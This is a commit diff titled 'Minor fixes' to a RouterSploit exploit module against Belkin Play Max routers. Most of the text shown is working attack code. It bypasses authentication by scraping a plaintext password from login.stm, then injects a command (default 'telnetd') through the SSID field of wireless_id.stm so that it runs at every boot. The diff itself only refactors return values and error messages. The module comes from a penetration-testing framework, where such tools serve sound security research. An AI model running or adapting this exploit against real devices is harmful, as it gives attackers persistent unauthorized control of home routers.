Minor fixes

routersploit/modules/exploits/belkin/play_max_prce.py

@@ -17,10 +17,10 @@ class Exploit(exploits.Exploit):
     If the target is vulnerable, you can run a bash command at every boot.
     """
     __info__ = {
-        'name': 'Belkin Persistent Remote Command Execution',
+        'name': 'Belkin Play Max Persistent RCE',
         'description': 'Module exploits Belkin SSID injection vuln, allowing to execute arbitrary command at every boot',
         'authors': [
-            'BigNerd95 (Lorenzo Santina)',  # vulnerability discovery and routersploit module
+            'BigNerd95 (Lorenzo Santina) https://github.com/bignerd95',  # vulnerability discovery and routersploit module
         ],
         'references': [
             'https://bignerd95.blogspot.it/2017/02/belkin-play-max-persistent-remote.html',
@@ -35,26 +35,12 @@ class Exploit(exploits.Exploit):
     port = exploits.Option(80, 'Target Port')
     cmd = exploits.Option('telnetd', 'Command to execute')
 
-    def check_auth_bypass(self):
-        url = "{}:{}/login.stm".format(self.target, self.port)
-
-        response = http_request(method="GET", url=url)
-        if response is None:
-            return False  # target is not vulnerable
-
-        val = re.findall('password\s?=\s?"(.+?)"', response.text)  # in some fw there are no spaces
-
-        if len(val):
-            return True  # target vulnerable
-
-        return False  # target is not vulnerable
-
     def auth_bypass(self):
         url = "{}:{}/login.stm".format(self.target, self.port)
 
         response = http_request(method="GET", url=url)
         if response is None:
-            return
+            return False
 
         val = re.findall('password\s?=\s?"(.+?)"', response.text)  # in some fw there are no spaces
 
@@ -64,20 +50,22 @@ class Exploit(exploits.Exploit):
 
             login = http_request(method="POST", url=url, data=payload)
             if login is None:
-                return
+                return False
 
             error = re.search('loginpserr.stm', login.text)
 
             if not error:
                 print_success("Exploit success, you are now logged in!")
-                return
+                return True
 
         print_error("Exploit failed. Device seems to be not vulnerable.")
+        return False
 
     def inject_command(self):
         ssid_url = "{}:{}/wireless_id.stm".format(self.target, self.port)
         response = http_request(method="GET", url=ssid_url)
         if response is None:
+            print_error("Exploit failed. No response from target!")
             return
 
         srcSSID = re.search("document\.tF\['ssid'\]\.value=\"(.*)\";", response.text)
@@ -85,7 +73,7 @@ class Exploit(exploits.Exploit):
             SSID = srcSSID.group(1)
         else:
             print_error("Exploit failed. Are you logged in?")
-            exit(1)
+            return
 
         if len(SSID) + 2 + len(self.cmd) > 32:
             newlen = 32 - len(self.cmd) - 2
@@ -99,6 +87,7 @@ class Exploit(exploits.Exploit):
         response = http_request(method="POST", url=url, data=payload)
 
         if response is None:
+            print_error("Exploit failed. No response from target!")
             return
 
         err = re.search('countdown\(55\);', response.text)
@@ -106,12 +95,22 @@ class Exploit(exploits.Exploit):
             print_success("Exploit success, wait until router reboot.")
         else:
             print_error("Exploit failed. Device seems to be not vulnerable.")
-            exit(1)
 
     def run(self):
-        self.auth_bypass()
+        if self.auth_bypass():
             self.inject_command()
 
     @mute
     def check(self):
-        return self.check_auth_bypass()
+        url = "{}:{}/login.stm".format(self.target, self.port)
+
+        response = http_request(method="GET", url=url)
+        if response is None:
+            return False  # target is not vulnerable
+
+        val = re.findall('password\s?=\s?"(.+?)"', response.text)  # in some fw there are no spaces
+
+        if len(val):
+            return True  # target is vulnerable
+
+        return False  # target is not vulnerable